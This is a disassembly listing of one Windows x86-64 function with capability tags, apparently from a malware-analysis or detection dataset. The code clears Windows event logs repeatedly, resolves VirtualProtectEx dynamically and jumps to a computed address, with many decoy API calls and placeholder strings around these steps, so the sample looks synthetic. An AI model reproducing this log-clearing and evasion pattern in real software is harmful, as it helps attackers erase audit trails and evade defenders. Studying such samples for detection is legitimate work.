Function at 0x6bad3668
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x58], rax
mov rax, qword [0x6bb85d20]
mov qword [rsp + 0x38], rcx
cmp dword [rax], 0x5746
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], r8
mov dword [rsp + 0x54], r9d
jle 0x6bad3b46
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
mov r14, qword [0x6bb85c10]
xor ecx, ecx
mov rax, qword [0x6bb85fa0]
mov r12, qword [0x6bb85630]
mov rsi, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Repellendus_debitis_odit_et_sed_et_mollitia_quia_quia_omnis_omnis
mov dword [rax], 0x68b69ef7
mov eax, dword [r14]
mov dword [r12], eax
call rsi
xor ecx, ecx
lea rdx, str.OpheliaSchmitt
call rsi
xor ecx, ecx
lea rdx, str.DaphneySteuber
call rsi
mov rax, qword [0x6bb855b0]
mov rdi, qword [0x6bb86020]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb857c0]
mov dword [rax], edx
mov rax, qword [0x6bb85b30]
lea rdx, str.Voluptatem_aut_aliquid_placeat_aperiam_exercitationem_omnis_est_et_quos_nostrum
mov dword [rax], 0x75e4b18f
mov rax, qword [0x6bb85ae0]
mov dword [rax], 0x92187caa
mov rax, qword [0x6bb856f0]
mov eax, dword [rax]
mov dword [rdi], eax
call rsi
mov rax, qword [0x6bb85c20]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85cc0]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Atque_doloribus_perferendis_qui_temporibus_doloremque_nemo_est_et
mov dword [rdx], eax
mov rax, qword [0x6bb85e90]
mov edx, dword [rax]
mov rax, qword [0x6bb85a60]
mov dword [rax], edx
call rdi
xor ecx, ecx
lea rdx, str.Dignissimos_explicabo_vel
call rsi
mov rax, qword [0x6bb85490]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4aef499b
mov qword [rsp + 0x20], 0
call rbx
mov rax, qword [0x6bb85430]
mov ecx, 0xd2280364
mov edx, dword [rax]
mov rax, qword [0x6bb855a0]
mov dword [rax], edx
call fcn.6bad7ff0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [r12], eax
xor ecx, ecx
mov qword [rsp + 0x20], 0
call rbx
mov rax, qword [0x6bb85e30]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85360]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.Sed_ex_perspiciatis_ipsam_magni_eos
mov dword [rdx], eax
mov rax, qword [0x6bb85610]
xor edx, edx
mov dword [rax], 0x15ed3d11
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r12
lea rcx, str.DrCoryBashirianIII
call rdi
mov rax, qword [0x6bb85d70]
xor edx, edx
xor ecx, ecx
mov r15, qword [0x6bb857f0]
mov dword [r14], 0x5d2d768a
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x6bb85890]
mov dword [rax], 0x75c5cf37
mov rax, qword [0x6bb858a0]
mov dword [rax], 0x2767d070
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x6bb85de0]
mov ecx, dword [rax]
call fcn.6bad7ff0
xor ecx, ecx
mov dword [r15], eax
call r12
mov rax, qword [0x6bb85e20]
xor edx, edx
xor ecx, ecx
lea r8, str.Quod_quia_deserunt
mov dword [rax], 0xf17ab86e
call r13
mov r14, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call r14
lea rdx, str.DonnellKrajcik
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
xor ecx, ecx
call rbp
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.LaneyBoyle
call r15
lea rdx, str.CarmenLebsack
xor ecx, ecx
call rsi
lea rcx, str.Maxime_dicta_inventore_voluptatum_qui_in
call r15
xor ecx, ecx
call r14
mov rax, qword [0x6bb85520]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85590]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85600]
mov rdx, qword [0x6bb86020]
mov eax, dword [rax]
mov dword [rdx], eax
call r12
mov rax, qword [0x6bb85b80]
lea rcx, str.DrIanHeaneyIV
mov edx, dword [rax]
mov rax, qword [0x6bb85310]
mov dword [rax], edx
lea rdx, str.HeatherHintz
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Impedit_earum_illo_enim_et_porro_dicta_quia_veritatis_aut_earum_aut_aut_deleniti
call rdi
mov rax, qword [0x6bb85c20]
lea rdx, str.CristobalHudson
xor ecx, ecx
mov dword [rax], 0x3472fcef
call rsi
mov rax, qword [0x6bb85920]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rsi, qword [0x6bb85520]
mov dword [rsi], eax
mov rsi, qword [0x6bb85380]
mov ecx, dword [rsi]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85c20]
xor ecx, ecx
mov dword [rdx], eax
call r14
lea rcx, str.ShayneAnderson
call rdi
mov rax, qword [0x6bb85830]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x91fcab2d
mov qword [rsp + 0x20], 0
call rbx
lea rcx, str.DaisyStokes
call rdi
lea rcx, str.Et_et_reiciendis_excepturi_earum_sit_atque
call rdi
xor ecx, ecx
call rbp
mov rax, qword [0x6bb85430]
mov dword [rax], 0x9d523060
mov rax, qword [0x6bb85e20]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdi, qword [0x6bb85360]
mov ecx, 0xd3c9843b
mov dword [rdi], eax
mov rax, qword [0x6bb85c50]
mov dword [rax], 0x1077ed60
mov rax, qword [0x6bb86010]
mov dword [rax], 0x55da67c3
mov rax, qword [0x6bb85a80]
mov dword [rax], 0x7971bd9b
call fcn.6bad7ff0
mov rdx, qword [0x6bb857a0]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [0x6bb85300]
mov dword [rax], 0xa3693a2b
mov rax, qword [0x6bb856d0]
mov edx, dword [rax]
mov rax, qword [0x6bb85460]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], 0
call rbx
mov rax, qword [0x6bb85350]
mov ecx, 0x38359731
mov dword [rax], 0x1ab2c42b
call fcn.6bad7ff0
mov rdx, qword [0x6bb85c60]
lea rcx, str.JarenVeum
mov dword [rdx], eax
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbx
mov ecx, 0xe30b8e72
call fcn.6bad7ff0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb85750]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x20], 0
call rbx
mov rax, qword [0x6bb85b00]
mov dword [rax], 0xbee4ea8d
mov rax, qword [0x6bb85c30]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rbx, qword [0x6bb85610]
xor edx, edx
xor ecx, ecx
lea r8, str.Aliquid_impedit_dolor_explicabo_in_eveniet_quia
mov dword [rbx], eax
call r13
mov dword [rsi], 0xcffb8da5
lea rdx, str.VirtualProtectEx
lea rcx, str.kernel32.dll
call fcn.6bad0c06
mov rbx, qword [rsp + 0x58]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0xd0], rbx
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax